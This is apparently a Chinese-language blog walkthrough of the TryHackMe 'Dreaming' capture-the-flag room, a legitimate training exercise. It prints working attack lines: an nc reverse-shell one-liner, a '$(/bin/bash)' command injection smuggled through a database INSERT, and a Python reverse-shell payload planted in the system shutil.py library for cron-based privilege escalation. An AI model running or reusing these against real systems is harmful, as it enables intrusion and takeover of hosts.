TryHackMe-Dreaming

发布于 2023-12-10  323 次阅读


简介:

Solve the riddle that dreams have woven.

房间链接:

https://tryhackme.com/room/dreaming#

问题:

挑战开始:

首先老样子先扫描下端口

└─# nmap -sC -sV  10.10.70.170
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-10 08:22 UTC
Nmap scan report for ip-10-10-70-170.eu-west-1.compute.internal (10.10.70.170)
Host is up (0.011s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 762667a6b0080eed34585b4e77459257 (RSA)
|   256 523aad267f6e3f23f9e4efe85ac8425c (ECDSA)
|_  256 71df6e81f0807971a8da2e1e56c4debb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 02:35:B5:41:04:05 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以发现开放了22和80端口,访问80看看
可以发现是apache的默认界面

使用ffuf扫描目录
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.70.170/FUZZ > es.txt
成功找到app目录

这里可以发现存在一个pluck应用程序

通过查询版本,发现存在一个后台文件上传

那么先尝试进入后台
http://10.10.70.170/app/pluck-4.7.13/login.php
这里通过burp爆破出密码

接着下载exp
本地执行EXP
python3 49909.py 10.10.70.170 80 password /app/pluck-4.7.13/

访问
http://10.10.70.170/app/pluck-4.7.13//files/shell.phar
成功shell

在/opt下发现了两个文件,第一个里面有一个密码
反弹shell尝试登录
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.84 3333 >/tmp/f
python3 -c "import pty;pty.spawn('/bin/bash')"
但是并没有成功

查看第二个文件,又发现一个密码

成功登录lucien账号

成功获取第一个flag

sudo -l
发现death用户可以免密执行文件

但是这个文件我们看不了内容
先用death用户执行看一看
sudo /usr/bin/python3 /home/death/getDreams.py

根据上面在/opt下发现的同名文件,我们可以发现他向数据库查询了表,并把结果输出了
在lucien账户的历史命令中翻到了数据库密码

成功连接

这里我们尝试添加一行尝试命令执行
INSERT INTO dreams (dreamer, dream) VALUES ('sha', '$(/bin/bash)');

再次执行
sudo /usr/bin/python3 /home/death/getDreams.py

成功获得death用户权限
但是执行命令没回显,所以用bash重新反弹个shell

成功获取flag

通过读取文件知道了death的密码

但是找了很久提权方法都没成功

尝试查看进程
这里可以发现存在一个定时任务,定时执行/home/morpheus/restore.py

查看文件

发现他调用了shutil库
查看下权限
ls -la /usr/lib/python3.8/
发现death用户可以更改

执行下面的命令
echo""> /usr/lib/python3.8/shutil.py
接着
vim /usr/lib/python3.8/shutil.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
保存后等一会就可以收到shell

成功获取flag

届ける言葉を今は育ててる
最后更新于 2023-12-10